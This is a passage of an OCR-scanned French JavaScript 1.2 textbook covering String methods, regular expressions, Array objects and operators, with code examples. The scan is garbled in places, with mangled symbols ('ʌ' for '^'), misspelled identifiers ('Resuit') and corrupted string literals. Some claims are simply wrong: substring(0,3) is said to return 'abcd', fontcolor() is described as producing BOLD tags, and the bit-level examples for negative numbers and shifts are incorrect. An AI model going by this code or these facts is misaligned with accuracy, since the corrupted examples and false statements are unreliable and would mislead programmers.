Remarque : on obtient le même résultat avec la syntaxe chaine0+chaine1.
indexOf(ssch, index) Retourne la position de la première occurrence de la chaîne ssch en com­
mençant à la position indiquée par l'entier index. Par défaut, index vaut 0.
Si cette chaîne n'est pas présente, retourne -1. Soit le code suivant :
var chaine = new String('ces serpents qui sifflent')

[Link]('ent') retournera 8, [Link]('ent', 10) retournera 22

et [Link]('rien') retournera -1.
lastIndexOf(ssch, index) Retourne la position de la dernière occurrence de la chaîne ssch en com­
mençant par la position indiquée par l'entier index. Si cette chaîne n'est pas
présente, retourne -1. Soit le code suivant :
var chaine = new String('ces serpents qui sifflent')

[Link]('ent') retournera 22, [Link]('ent', 10)

retournera 8 et [Link]('rien') retournera -1.

362
JavaScript 1.2

Méthode Description
match(regexp) Applique l'expression régulière regexp et renvoie un tableau contenant tou­
tes les correspondances entre l'expression régulière et la chaîne de caractè­
res. Soit le code suivant :
var chaine = new String('Ceci est une date 19970406')
re = /(\d{4})(\d{ 2} )(\d{ 2})/
decoupe = [Link](re)

L'expression régulière correspond aux chaînes de caractères composée de 8

entiers consécutifs. Si une telle sous-chaîne est trouvée, elle est décompo­
sée en trois chaînes de 4, 2 et 2 caractères. Dans le cas ci-dessus, on a fina­
lement decoupe[0] qui vaut '19970406', decoupe[1] qui vaut '1997',
decoupe[2] qui vaut '04' et decoupe[3] qui vaut '06'.
Pour mieux comprendre cette méthode (voir Les expressions régulières,
page 366).
replace(regexp, chaîne1) Remplace toutes les correspondances entre l'expression régulière et la
chaîne de caractères par la chaîne chaîne1. Soit le code suivant :
var chaine = new String('10 fois 20 vaut deux cents')
re = ʌd+/g
sansnombre = [Link](re, '?')

L'expression régulière re correspond à tous les chiffres et nombres, sans-

nombre vaut donc '? fois ? vaut deux cents'.
Pour mieux comprendre cette méthode, voir Les expressions régulières,
page 366
search(regexp) Retourne -1 s'il n'existe aucune correspondance entre l'expression régu­
lière re et la chaîne de caractères. Retourne l'index de la première corres­
pondance sinon. Soit le code suivant :
var chaine = new String('10 fois 20 vaut deux cents')
re = ʌd+/g

L'expression régulière re correspond à tous les chiffres et nombres. Comme

la chaîne chaine contient des nombres, [Link](re) vaut 0.
Pour mieux comprendre cette méthode, voir Les expressions régulières,
page 366
slice(debut,fin) Retourne la sous-chaîne débutant à la position debut et se terminant un
caractère avant la position fin. Si fin est négatif, slice retourne la sous-
chaîne débutant à la position debut et s'arrêtant fin caractères avant la fin.
fin peut être omis de façon à inclure tous les caractères jusqu'à la fin de la
chaîne. Soit le code suivant :
var chaine = new String('abcde')

[Link](1,-2) retournera 'bc' et [Link](1,3) retournera 'bc'.

363
 Programmation HTML et JavaScript

Méthode Description
split(sepateur, nbsplit) Retourne un tableau contenant les sous-chaînes obtenues en découpant la
chaîne selon le séparateur separateur, npsplit est un paramètre optionnel qui
permet d'indiquer le maximum d'éléments qu'on souhaite avoir dans le
tableau de sous-chaîne. Soit le code suivant :
var chaine = new String('zero/un/deux')
decoupe = [Link]('/')

decoupe[0] vaut 'zero', decoupe[1] vaut 'un' et decoupe[2] vaut 'deux'.

Par contre, si l'on avait indiqué la valeur 2 pour nbsplit :
decoupe = [Link]('/', 2)

On aurait seulement deux éléments dans le tableau decoupe, à savoir

decoupe[0] qui vaut 'zero', decoupe[1] qui vaut 'un'.

Remarque : separateur peut également être une expression régulière (voir

Les expressions régulières, page 366).
substr(début, longueur) Retourne la sous-chaîne débutant à la position debut et de longueur lon­
gueur. longueur peut être omis de façon à inclure tous les caractères jusqu'à
la fin de la chaîne. Soit le code suivant :
var chaine = new String('abcde')

[Link](0,3) retournera 'abc' et [Link](1) retournera 'bcde'.

substring(debut, fin) Retourne la sous-chaîne comprise entre les positions debut et fin. fin peut
être omis de façon à inclure tous les caractères jusqu'à la fin de la chaîne.
Soit le code suivant :
var chaine = new String('abcde')

[Link](0,3) retournera 'abcd' et [Link](1) retournera

'bcde'.
toLowerCase() Retourne la chaîne mise en miniscule
toUpperCase() Retourne la chaîne mise en majuscule
Méthode de formatage HTML
anchor(ANCRE) Retourne la chaîne insérée dans les balises <A NAME="ANCRE">...</A>
big() Retourne la chaîne insérée dans les balises <BIG>...</BIG>
blink() Retourne la chaîne insérée dans les balises <BLINK>...</BLINK>
bold() Retourne la chaîne insérée dans les balises <BOLD>...</BOLD>
fixed() Retourne la chaîne insérée dans les balises <TT>...</TT>
fontcolor() Retourne la chaîne insérée dans les balises <BOLD>...</BOLD>
fontsize() Retourne la chaîne insérée dans les balises <BOLD>...</BOLD>
italics() Retourne la chaîne insérée dans les balises <I>...</I>
link(URL) Retourne la chaîne insérée dans les balises <A HREF="URL">...</A>
smail() Retourne la chaîne insérée dans les balises <SMALL>...</SMALL>
strike() Retourne la chaîne insérée dans les balises <STRIKE>...</STRIKE>
sub() Retourne la chaîne insérée dans les balises <SUB>...</SUB>
sup() Retourne la chaîne insérée dans les balises <SUP>...</SUP>

364
JavaScript 1.2

Enfin, il existe également un objet String préinstancié. Cet objet possède une seule
méthode, fromCharCode(), qui permet de créer une chaîne de caractères à partir des
codes ISO-Latin-1 des caractères à insérer dans la chaîne.

Méthode Description
fromCharCode(code(),..., codeN) Retourne une chaîne composée des caractères dont les codes correspon­
dent aux codes code(), ..., codeN (selon la table ISO-Latin-1). Soit le
code suivant :
var chaine = [Link](233, 116, 233)

chaine vaudra 'été'.

Exemple
Voici l'exemple d'une fonction permettant de traiter une phrase afin d'en supprimer les
mots qui ne véhiculent pas d'information réelle lorsqu'ils sont placés en dehors de leur
contexte. C'est le cas par exemple des articles, des conjonctions de coordination ou
encore des prépositions.
Cette fonction prend en argument une chaîne de caractères et renvoie un tableau conte­
nant les mots qui n'appartiennent pas à la liste des mots définis comme mots creux.
Appliquée à la chaîne de caractères 'pour qui sont ces serpents qui sifflent sur vos têtes'
la fonction rendra un tableau contenant les quatre chaînes 'sont', 'serpents', 'sifflent',
'têtes'.

<SCRIPT LANGUAGE="JavaScript1 . 2 " >

// Tableau des mots considérés comme creux
Mots_Creux = new Array
('le', 'la' ,'les','un','une','des','ce','ces','nos','vos',
'pour','contre' , 'sur', 'sous' , 'de', 'à' , 'qui', 'quoi', 'que')

// Définition de la fonction Extraire

function Extraire(Chaine){
/ / O n crée un tableau pour stocker les mots
// qui ne sont pas creux
Result = new Array()
/ / O n découpe la chaine avec l'espace comme séparateur
Mots = [Link](' ')
// Pour chacun des mots, on regarde s'il est
// dans la liste des mots creux
for (i in Mots) {
var nonCreux = true
for (j in Mots_Creux) {
if (Mots[i] == Mots_Creux[j]) {
nonCreux = false
break
}
}

365
 Programmation HTML et JavaScript

if (nonCreux) {
Result[[Link]] = Mots[i]
}
}
// On retourne un tableau contenant tous les mots non creux
return Resuit
}
</SCRIPT></HEAD>
<BODY>
<FORM>
Saisissez une phrase: <INPUT TYPE="TEXT" NAME="Phrase" SIZE=60>
<BR><BR>
<!-- Pour afficher le tableau renvoye par la methode Extraire
on utilise la methode joint) des objets Array -->
<INPUT TYPE="BUTTON" VALUE="Enlever les mots creux"
onClick="alert(Extraire([Link]).join(', '))">
</FORM>
</BODY>

Figure 72 - Document [Link]

Les expressions régulières

Les expressions régulières sont un petit bijou issu du monde Unix. Largement utilisées
avec les logiciels sed, awk et surtout Perl, elles font aujourd'hui leur apparition dans
JavaScript 1.2. D'un accès un peu difficile, elles simplifient cependant grandement le
traitement des chaînes de caractères. Recherche de sous-chaînes, substitutions et décou­
pages complexes peuvent être réalisés en quelques lignes de code.

366
JavaScript 1.2

Principe
Il s'agit de définir un modèle qui décrira toutes les chaînes de caractères qu'on souhaite
rechercher, substituer ou utiliser pour réaliser un découpage. Ce peut être une simple
chaîne de caractères. Par exemple, pour rechercher le mot 'maison' au singulier, vous
utiliserez le modèle 'maison'. Mais le modèle peut contenir des caractères spéciaux pour
englober plusieurs chaînes de caractères. Imaginez que vous souhaitiez rechercher les
mots 'maison' et 'maisons'. Vous devrez utiliser le modèle 'maisons?'.
Le modèle ainsi défini est appliqué à la chaîne de caractères qu'on souhaite modifier ou
sur laquelle on veut faire une recherche. Chaque fois qu'une correspondance au modèle
est trouvée, elle est, selon la volonté du développeur, substituée ou utilisée pour découper
la chaîne initiale.
Par exemple, si l'on considère le modèle simple 'maison' et qu'on l'applique à la chaîne
'mon ancienne maison est marron' en demandant de remplacer chaque apparition de ce
modèle par la chaîne 'voiture', on obtiendra tout simplement la chaîne 'mon ancienne
voiture est marron'.
Mais ce qui est intéressant, c'est qu'on peut définir des modèles complexes. Par exemple,
si on réalise la même substitution que précédemment mais avec le modèle complexe
'm[a-z]+n', on obtiendra la chaîne 'voiture ancienne voiture est voiture'. En effet, le
modèle 'm[a-z]+n' signifie : quelque chose qui commence par un m suivi d'au moins
une lettre minuscule et terminé par un n, si bien que les mots 'mon', 'maison' et 'marron'
correspondent à ce modèle.

Création
Il existe deux syntaxes permettant de définir un modèle. La première est une syntaxe lit­
térale classique telle qu'on l'utilise en Perl par exemple :
reg = / modele/

La seconde est propre à JavaScript :

reg = new RegExp('modele')

Notez qu'il est possible d'indiquer si le modèle doit être recherché une seule fois (c'est-
à-dire qu'on s'arrête à la première correspondance) ou si l'on souhaite atteindre toutes
les correspondances.
reg = /modele/g

reg = new RegExp('modele', 'g')

Il est également possible d'indiquer que la recherche du modèle doit être faite sans tenir
compte de la casse (distinction entre majuscules et minuscules).
reg = /modele/i
ou
reg = new RegExp('modele', 'i')

367
 Programmation HTML et JavaScript

Enfin, pour cumuler les propriétés, on utilisera la syntaxe :

reg = /modele/gi
ou
reg = new RegExp('modele', 'gi')

Comme on le voit, la création d'un modèle est une opération simple. En fait, la grosse
difficulté consiste à inventer le modèle adéquat. Avant d'examiner en détail comment
créer des modèles complexes, voyons concrètement comment utiliser un modèle.

Utilisation
Chaque modèle qu'on crée est un objet qu'on pourra utiliser soit à l'aide des deux métho­
des qu'il possède, soit en le passant en paramètre des méthodes replace(), match() et
split() des chaînes de caractères.

Méthodes

Méthode Description
exec(chaine) Cette méthode exécute une recherche du modèle dans la chaîne chaine et
renvoie un tableau contenant des informations issues de cette recherche.
Le tableau renvoyé possède les informations suivantes :
À l'index 0, on trouve la dernière correspondance du modèle ;
Aux index 1 à n, on trouve, si le modèle contenait des zones parenthé­
sées, les chaînes mémorisées correspondantes (voir Mémorisation des
correspondances à un modèle, page 372).
Le même résultat peut être obtenu avec la syntaxe [Link](re).
test(chaine) Cette méthode renvoie un booléen indiquant si une correspondance du
modèle a pu être trouvée dans la chaîne chaine.

Cet exemple teste si les mots 'maison' ou 'maisons' sont présents dans une chaîne de
caractères :
<SCRIPT LANGUAGE="JavaScript1.2">
re = /maisons?/g
if ([Link]('Je n\'ai plus de maison !')) {
[Link]('J\'ai trouvé une maison.')
}
</SCRIPT>

Expressions régulières et objets String

Appliquée à la chaîne chaine, la méthode match(re) provoque une recherche du modèle
re et renvoie un tableau contenant des informations issues de cette recherche. Le tableau
renvoyé possède les informations suivantes :
• À l'index 0, on trouve la dernière correspondance du modèle ;
• Aux index 1 à n, on trouve, si le modèle contenait des zones parenthésées, les
chaînes mémorisées correspondantes (voir Mémorisation des correspondances

368
JavaScript 1.2

à un modèle, page 372).

Cela est équivalent à la commande [Link](chaine).

L'exemple suivant applique le modèle 'moi, (\w+)' sur la chaîne " Qui est-ce ? C'est moi,
Thuy ?" et affiche les informations renvoyées.

<SCRIPT LANGUAGE="JavaScript1.2">
re = /moi, (\w+)/
ch = new String("Qui est-ce ? C'est moi, Thuy ?")
Res = [Link](re)
[Link] ('La correspondance du modèle : ' + Res[0].bold( ) +
'<BR>')
[Link] ('La partie du modèle mémorisée : ' + Res[1].bold( ) )
</SCRIPT>

Cet exemple affiche sur le browser :

La correspondance du modèle : moi, Thuy
La partie du modèle mémorisée : Thuy

Appliquée à la chaîne chaine, la méthode replace(re, remplaceCh) remplace une ou tou­

tes les correspondances du modèle re (selon que le drapeau 'g' a été positionné ou non
lors de la création du modèle) par la chaîne remplaceCh. Si le modèle possède des élé­
ments parenthésés (voir Mémorisation des correspondances à un modèle, page 372),
ces éléments pourront être utilisés dans la chaîne remplaceCh en utilisant les symboles
$1 à $9. Voici un rapide exemple qui permet d'intervertir les noms et prénoms dans une
liste :
<SCRIPT LANGUAGE="JavaScript1.2">
ch = new String('Olivier Camp, Marc Hennus, Marc Bouisset' )
re = /(\w+)\s(\w+)/g
// $1 correspond au prénom et $2 au nom
[Link]([Link](re, '$2 $1'))
</SCRIPT>

Cet exemple affiche à l'écran :

Camp Olivier, Hennus Marc, Bouisset Marc

Appliquée à la chaîne chaine, la méthode split(re) la découpe en utilisant le modèle re

comme séparateur et renvoie un tableau contenant le résultat du découpage.
L'exemple ci-dessous découpe une chaîne de caractères en utilisant tous les éléments de
ponctuations possibles. On obtient un tableau avec tous les mots de la phrase découpée.

<SCRIPT LANGUAGE="JavaScript1.2">
re =/[,:;!'\-\.\(\)\?]/
ch = new String("Qui est-ce ? C'est moi, Thuy ?")
[Link]([Link](re))
</SCRIPT>

369
 Programmation HTML et JavaScript

Cet exemple renvoie le tableau :

["Qui", "est", "ce", "C", "est", "moi", "Thuy"]

Attention : les premières versions de Nestcape 4.0 supportent assez mal l'utilisation de
caractères accentués avec la méthode split().

Syntaxe
Nous présentons ici tous les éléments utilisés afin de créer des modèles complexes.

Les caractères spéciaux

Syntaxe Description
. Correspond à n'importe quel caractère.
to..to correspond aussi bien à 'tototo' qu'à 'to--to' mais pas à 'totto'.
\ Indique que le caractère qui suit ne doit pas être considéré comme un caractère spé­
cial.
A\+ correspond à la chaîne 'A+' alors que A+ ne correspond pas à 'A+' mais à
'AA' par exemple.
\f Correspond à un saut de page.

\n Correspond à un saut de ligne.

\r Correspond à un retour chariot.

\t Correspond à une tabulation.

Les classes de caractères

Syntaxe Description
[abc] Correspond à tous les caractères présents entre les deux crochets. Il est possible
d'indiquer toute une suite de caractères en utilisant un tiret. Par exemple, [a-e]
correspond à [abcde], [a-z] correspond à tout l'alphabet en minuscules et [a-zA-Z]
correspond à tout l'alphabet.
[pf]ort correspondra à 'port' et à 'fort'.
[ʌabc] Correspond à tous les caractères non présents entre les deux crochets.
[ʌf]ort correspondra à 'port' mais pas à 'fort'.
\d Correspond à un chiffre (on peut aussi l'écrire [0-9]).
\d{3} correspond à tous les nombres de trois chiffres.
\D Correspond à tout ce qui n'est pas un chiffre (on peut aussi l'écrire [ʌ0-9]).

\w Correspond à tout qui est composé de lettres, de chiffres ou de caractères unders-

core '_' (on peut aussi l'écrire [a-zA-Z0-9_],
\w+ correspond à tous les mots composés d'au moins une lettre.
\W Correspond à tout qui n'est pas composé de lettres, de chiffres ou de caractères
underscore '_' (on peut aussi l'écrire [ʌa-zA-Z0-9_].
\s Correspond à un espace, un retour à la ligne, un retour chariot ou une tabulation.

\S Correspond à tout ce qui n'est pas un espace, un retour à la ligne, un retour chariot
ou une tabulation.

Gestion du nombre d'occurrences d'un caractère ou d'une classe de caractères

Les symboles ci-desssous doivent être placés après un caractère ou une classe de caractè-

370
JavaScript 1.2

Syntaxe Description
* Le caractère doit apparaître zéro ou n fois.
a*h correspondra à 'aaaaah' dans 'ouaaaaaah' et correspondra à 'h' dans 'boooh'.
+ Le caractère doit apparaître au moins une fois.
maisons+ correspondra à 'maisons' mais pas à 'maison'.
? Le caractère doit apparaître zéro ou une fois,
maisons? correspondra à la fois à maison' et 'maisons'.
{numOccurence} numOccurence est un entier. Le caractère doit apparaître exactement numOccu­
rence fois.
a{5) correspondra à 'aaaaa' dans 'ouaaaaaah'.
{min,} min est un entier. Le caractère doit apparaître au moins min fois.
\d{ 5,} correspondra à tous les nombres de plus de 5 chiffres.
{min, max} min et max sont des entiers. Le caractère doit apparaître plus de min fois et moins
de max fois.

Gestion de la position

Syntaxe «
Description
A Indique que la correspondance doit avoir lieu en début de chaîne de caractères.
Ajecorrespond à 'je' dans 'je suis là' mais à rien dans 'là je suis'.

$ Indique que la correspondance doit avoir lieu en fin de chaîne de caractères.

là$ correspond à 'là' dans 'je suis là' mais à rien dans 'là je suis'.
motllmot2 Indique que la correspondance peut se faire sur motl ou mot2.
chatlchien correspondra à 'chien' dans 'mon chien' et à 'chat' dans 'mon chat'.

Exemples
Cet exemple remplace tout ce qui ressemble à une adresse électronique par la chaîne
'(désolé, cette adresse est indisponible pour l'instant)'.

<SCRIPT LANGUAGE="JavaScript1.2">
re = /[a-zA-Z0-9\.-_]+@[a-zA-Z0-9\.-_] +/g
ch= new String("Voici mon adresse, [Link]@[Link],
et celle de mes voisins, [Link]@[Link]")
[Link]([Link](re, '(d&eacute;sol&eacute;,
cette adresse est indisponible pour 1\'instant)'))
</SCRIPT>

Pour finir, voici un exemple qui met en rouge tous les mots d'une chaîne de caractères
qui contiennent deux s successifs :

<SCRIPT LANGUAGE="JavaScript1.2 " >

re = /(\w+ss\w+ ) / g
ch = new String('Il a gliss&eacute; sur les fesses.')

371
 Programmation HTML et JavaScript

[Link] ([Link] (re, '<FONT COLOR=red>$l</FONT>1 ) )

</SCRIPT>
Mémorisation des correspondances à un modèle
Nous allons voir ici comment il est possible de stocker les correspondances d'un modèle
dans une chaîne de caractères. Pour comprendre l'intérêt de cette opération, considérons
un exemple un peu plus complexe. Imaginons qu'on veuille traiter des chaînes de carac­
tères composées d'un nom, d'un prénom puis d'un âge en chiffres. Par exemple, à partir
de la chaîne 'durand pierre 24', on souhaite, à l'aide d'une substitution, créer la chaîne
suivante : 'PIERRE a vingt quatre ans'. Pour cela, il va falloir trouver un modèle qui
récupère le prénom et l'âge et qui les mémorise afin qu'on puisse les modifier. Le modèle
ressemble à ceci : \w+\s(\w+)\s(\d+). La nouveauté dans ce modèle réside dans les
parenthèses. Chaque fois qu'une correspondance du modèle sera détectée, les parties du
modèle placées entre parenthèses seront mémorisées. Dans notre cas, la première paire
de parenthèses mémorise la chaîne 'pierre', la seconde la chaîne '24'. Les parties mémo­
risées sont stockées dans l'objet préinstancié RegExp. Cet objet possède neuf propriétés,
nommées $1, $2,..., $9 qui stockent les zones à mémoriser. Dans notre cas, on aura donc
RegExp.$1 qui vaudra 'pierre' et RegExp.$2 qui vaudra '24'.

<SCRIPT LANGUAGE="JavaScript1.2">
ch = new String('durand pierre 24')
test = /\w+\s(\w+)\s(\d+)/
document. write ( ch. replace ( test, RegExp. $ 1. toUpperCase ( )
+ ' a ' + entoutelettre(RegExp.$2)) + ' ans.')

//
// Convertit un nombre inférieur à mille en lettre
// (cette fonction est incomplète)
//
function entoutelettre(nombre) {
centaine = [Link](nombre/100)
reste = nombre%100
centaineCh = 1'
uniteCh = ''
switch (centaine) {
case 1:
centaineCh = 'cent '
break
case 2 :
centaineCh = 'deux cents '
break
case 3 :
centaineCh = 'trois cents '
break
case 4 :
centaineCh = 'quatre cents '
break

372
JavaScript 1.2

}
dizaine = [Link](reste/10 )
unité = reste%10
dizaineCh = ''
switch (unite) {
case 1 :uniteCh = 'un'
break
case 2 : uniteCh = 1 deux'
break
case 3 : uniteCh = 'trois'
break
case 4: uniteCh = 'quatre'
break
}
switch (dizaine) {
case 1:dizaineCh = 'dix '
if (unite == 1) {uniteCh = ''; dizaineCh = 'onze '}
if (unite == 2) {uniteCh = ''; dizaineCh = 'douze '}
if (unite == 3) {uniteCh = ''; dizaineCh = 'treize '}
if (unite == 4) {uniteCh = ''; dizaineCh = 'quatorze '}
break
case 2: dizaineCh = 'vingt '
break
case 3: dizaineCh = 'trente '
break
case 4: dizaineCh= 'quarante '
break
}
return (centaineCh + dizaineCh + uniteCh)
}
</SCRIPT>

Les tableaux comme objets

Constructeur
La création d'un objet tableau se fait de façon classique, en associant l'instruction new et
le constructeur prédéfini Array().

Syntaxe :
var nom_tableau = new Array()

On peut initialiser le tableau lors de sa création. Dans la syntaxe suivante, les valeurs
Valeur 1 à ValeurN correspondent respectivement aux index 0 à N-l, et peuvent être de
tout type (nombre, chaîne, objet, tableau...) :

373
 Programmation HTML et JavaScript

var Tab = new Array(Valeur1,..., ValeurN)

Enfin, on peut également initialiser le tableau avec une notation littérale. L'avantage de
cette méthode est que le tableau est créé lors de la lecture du document HTML et non
lors de l'exécution du code JavaScript. Il en résulte de meilleurs résultats lors de l'exécu­
tion des scripts. Dans la syntaxe suivante Valeur1 à ValeurN correspondent respective­
ment aux index 0 à N-l, et peuvent être de tout type (nombre, chaîne, objet, tableau...) :
var Tab = [Valeur1,..., ValeurN]

Voici par exemple le cas de la déclaration littérale d'un tableau à deux dimensions ne
contenant que des chiffres :
<SCRIPT LANGUAGE="JavaScript1.2">
table = [[1, 2, 3],
[2, 4, 6],
[3, 6, 9]]
alert(table[2] [ 2 ] )
</SCRIPT>
Propriétés
Les objets tableaux ne possèdent en général qu'une seule propriété, length, qui indique le
nombre d'éléments dans le tableau. Voici la syntaxe de cette propriété :
nom_tableau.length

Propriété Description
length Nombre d'éléments dans le tableau.

Méthodes

Voici la liste des méthodes disponibles :

Méthode Description
concat(tableau1) Retourne un tableau composé de la concaténation du tableau auquel on
applique la méthode et du tableau tableau1.
Par exemple :
['aa', 'bb'].concat(['cc', 'dd']) retournera le tableau ['aa', 'bb'cc', 'dd'].
sort(fonction _compare ) Classe les éléments du tableau selon la fonction de comparaison
fonction_compare. Si celle-ci n'est pas précisée, la comparaison est
faite selon l'ordre alphabétique (ce qui peut poser problème avec des
nombres !). La fonction de comparaison prend deux paramètres en
arguments. Si le premier argument doit se trouver avant le second dans
le classement final, la fonction doit retourner une valeur négative et une
valeur positive. Si les deux paramètres sont de même rang la fonction
doit retourner 0.

374
JavaScript 1.2

Méthode Description
join(sepateur) Retourne une chaîne de caractères composée de tous les éléments du
tableau, séparés par la chaîne sepateur. Par défaut, le sepateur est une
simple virgule.
reverse() Inverse l'ordre des éléments du tableau auquel on applique la méthode.
slice(debut, fin) Retourne un nouveau tableau composé des éléments à partir de l'index
début et s'arrêtant à un élément avant l'index fin. Si fin est négatif,
retourne un tableau composé des éléments à partir de l'index début et
s'arrêtant fin éléments avant le dernier élément.
Par exemple :
['aa'bb', 'cc', 'dd'].slice(0,2) retournera le tableau ['aa', 'bb'].
['aa', 'bb', 'cc', 'dd'].slice(1,-1) retournera le tableau ['bb', 'cc'].

Exemples
Voici un premier exemple illustrant les méthodes join et reverse :
<SCRIPT LANGUAGE="JavaScript1.2">
// Création d'un tableau
semaine = ['Dimanche' , 'Lundi', 'Mardi', 'Mercredi',
'Jeudi', 'Vendredi', 'Samedi']
/ / On affiche le jour de la semaine
Aujourdhui = new Date()
[Link]('Aujourd'hui nous sommes '+
semaine[[Link]()] + '.<BR>')
// On affiche la liste des jours de la semaine
[Link]('Affichage du tableau <I>semaine</I>
avec le se&eacute;parateur - :<BR>')
[Link]([Link](' - ')+'<BR>')
// On affiche la liste des jours hors WE
[Link]('Affichage du tableau des jours
hors WE avec le se&eacute;parateur - :<BR>')
[Link]([Link](1, -l).join(' - ')+'<BR>')
// Dans l'ordre inverse
[Link]('Affichage du tableau <I>semaine</I>
apr&egrave;s application de la m&ecaute;thode
<I>reverve()</I>:<BR>')
[Link]()
[Link]([Link](' - '))
</SCRIPT>

Figure 73 - Document [Link]

Le second exemple illustre la méthode sort :

<SCRIPT LANGUAGE="JavaScript1.2">
// Soit une liste de personne
Personnes = new Array('pierre', 'paul', 'jacques', 'henry',
'albert')
/ / O n affiche la liste d'origine
[Link]('Liste d\'origine : ' + [Link]()+'<BR>')

375
 Programmation HTML et JavaScript

/ / O n classe la liste, sans préciser de fonction de comparaison

/ / L e classement se fait donc dans l'ordre alphabétique
[Link]()
// On affiche la liste classee
[Link]('0rdre alphabétique : ' + [Link]()+'<BR>')
// On peut aussi classer la liste selon l'ordre alphabétique de la
derniere lettre
// Pour cela on definit une fonction de comparaison un peu spéciale
function compDerniereLettre (a, b) {
derniereLettreA = [Link]([Link] - 1)
derniereLettreB = [Link]([Link] - 1)
if (derniereLettreA < derniereLettreB) {
return -1
}
if (derniereLettreA > derniereLettreB) {
return 1
}
return 0
}
// On affiche la liste classee selon la derniere lettre du nom
[Link]('Ordre alphabétique de la derniere lettre : ' +
[Link](compDerniereLettre) + ' <BR><BR>' )
// Soit une liste de nombre
Nombres = new Array(10, 5, 1, 110, 2)
[Link] ('Liste d\'origine : ' + [Link]( ) + '<BR>')
/ / O n classe la liste, sans préciser de fonction de comparaison
// Le classement se fait donc dans l'ordre alphabétique
[Link]('Ordre alphabétique : ' + [Link]() + '<BR>')
// Fonction de comparaison pour 2 nombres
function compNumerique(a, b) {
/ / O n renvoie a - b, de telle sorte que si a est inferieur à b
// la fonction retourne une valeur negative et a se trouve donc
// avant b dans le classement
return a - b
}
/ / O n classe maintenant la liste en précisant
// une fonction de comparaison
[Link](compNumerique)
[Link]('Ordre numérique : ' +Nombres. joint ) + '<BR>')
</SCRIPT>
Figure 74 - Document [Link]

376
JavaScript 1.2

Les opérateurs
Comme le C et le C++, JavaScript dispose d'une multitude d'opérateurs permettant de
travailler avec des expressions numériques, booléennes, alphanumériques et même binai­
res. Rappelons rapidement ce qu'est une expression. Une expression est une combinai­
son de valeurs, de variables, d'opérateurs et d'autres expressions que le langage doit
évaluer afin d'obtenir une seule valeur. Par exemple, '4+3' est une expression qui corres­
pondra à la valeur 7. Il existe également des expressions qui permettent d'allouer une
valeur à une variable. Par exemple 'x =7' est une expression qui alloue 7 à la variable et
qui correspond à la valeur 7 pour le langage (on dit également que cette affectation
retourne la valeur 7). Ainsi, on peut tout à fait envisager le code suivant :

/ / O n affecte à la variable x un entier entre 0 et 10

// Cette affectation retourne la valeur affectée sur laquelle
// on peut donc faire un test
if ( (x = [Link](10*[Link]( ))) == 7) {
alert('x vaut 7')
} else {
// On affiche la valeur affectée à x
alert('x ne vaut pas 7, mais ' + x)
}

Enfin, il existe des expressions dites conditionnelles qui correspondent à deux valeurs
différentes selon qu'une condition (passée en paramètre) est vraie ou fausse au moment
de l'évaluation de l'expression. La syntaxe d'une expression conditionnelle est issue de
celle du C :

(condition) ? valeur_si_vrai : valeur_si_faux

Si la condition condition est vraie l'expression vaut valeur_si_vrai, sinon elle vaut
valeur_si_faux. Cela permet d'avoir un code plus concis, mais pas forcément plus lisible.
Ainsi, les deux bouts de code ci-dessous ont le même comportement.

377
 Programmation HTML et JavaScript

Utilisation d'une expression conditionnelle :

statut = (age > = 1 8 ) ? 'adulte' : 'mineur'

Utilisation de l'instruction if...else :

if (age > = 1 8 ) {
statut = 'adulte'
} else {
statut = 'mineur'
}
Voici maintenant l'ensemble des opérateurs permettant de créer ces expressions.

Opérateurs arithmétiques
Ces opérateurs s'appliquent à des opérandes numériques. En plus des opérateurs classi­
ques d'addition, de soustraction, de multiplication et de division, JavaScript connaît les
opérateurs arithmétiques suivants :
• % est l'opérateur modulo. Il retourne le reste de la division entière du premier
opérande par le deuxième. Par exemple, 10 % 3 retourne 1.
• ++ est l'opérateur d'incrémentation. Placé devant l'opérande, il lui ajoute 1 et
retourne la valeur ainsi obtenue. Placé derrière l'opérande, il retourne la valeur de
l'opérande puis ajoute 1 à cet opérande. Par exemple :

var x = 0
[Link] ('x = ' + ++x) // affiche x = 1
[Link] ('x = ' + x++) // affiche x = 1
[Link]('x = '+ x) //affiche x = 2

• --est l'opérateur de décrémentation. Placé devant l'opérande, il lui enlève 1 et

retourne la valeur ainsi obtenue. Placé derrière l'opérande, il retourne la valeur de
l'opérande puis enlève 1 à cet opérande.

Opérateurs booléens
JavaScript connaît les opérateurs booléens classiques :
• && est le ET logique. Si les deux opérandes sont vrais (true), cet opérateur
retourne vrai ; sinon, il retourne faux ;
• Il est l'opérateur OU logique. Si les deux opérandes sont faux, cet opérateur
retourne faux ; sinon, il retourne vrai ;
• ! est l'opérateur de négation. La négation de true est false et vice-versa.
Remarques : Il est conseillé de toujours utiliser des parenthèses afin d'évaluer une
expression logique. Les expressions booléennes sont toujours évaluées de gauche à
droite.

378
JavaScript 1.2

Opérateurs binaires
Les opérateurs binaires permettent de travailler sur la représentation binaire d'un entier.
Les entiers sont représentés sur 32 bits. Par exemple, l'entier 21 sera représenté par :
00000000000000000000000000010101

L'entier 10 sera représenté par :

00000000000000000000000000001010

Les opérateurs binaires réalisent des opérations bit à bit à partir des représentations binai­
res des deux opérandes. Ainsi, chaque bit d'un opérande est combiné avec le bit de même
rang de l'autre opérande.
• & est l'opérateur ET. Si les deux bits combinés valent 1, le bit obtenu vaut 1 ;
sinon, il vaut 0. Par exemple, 21 & 10 retourne la valeur
00000000000000000000000000000000, soit 0 ;
• | est l'opérateur OU. Si les deux bits combinés valent 0, le bit obtenu vaut 0 ;
sinon, il vaut 1. Par exemple, 21 | 10 retourne
00000000000000000000000000011111, soit 31 ;
• ʌ est l'opérateur OU exclusif. Si les deux bits combinés ont des valeurs différen­
tes, le bit obtenu vaut 1 ; sinon, il vaut 0. Par exemple, 21 ʌ 21 retourne
00000000000000000000000000000000, soit 0.
Parmi les opérateurs binaires, il y a également des opérateurs de décalage. Pour ces opé­
rateurs, le premier opérande est le nombre sur lequel porte le décalage, et le second le
nombre de bits de décalage.
• << est l'opérateur de décalage à gauche. Des zéros sont insérés à droite. Par
exemple :
00000000000000000000000000001000 correspond à 8
00000000000000000000000000100000 correspond à 8<<2 qui retourne donc
32

• >> est l'opérateur de décalage à droite (le premier bit n'est pas touché). Des zéros
sont insérés à gauche à partir du second bit. Par exemple :
00000000000000000000000000001000 correspond à 8.
00000000000000000000000000000010 correspond à 8>>2, qui retourne 2.
Et
10000000000000000000000000001000 correspond à -8.
10000000000000000000000000000010 correspond à -8<<2, qui retourne -2.

• >>> est l'opérateur de décalage à droite sans conservation du signe. Des zéros
sont insérés à gauche, dès le premier bit. Par exemple :
10000000000000000000000000001000 correspond à -8.
01000000000000000000000000000010 correspond à -8>>>2, qui retourne
1073741822.

379
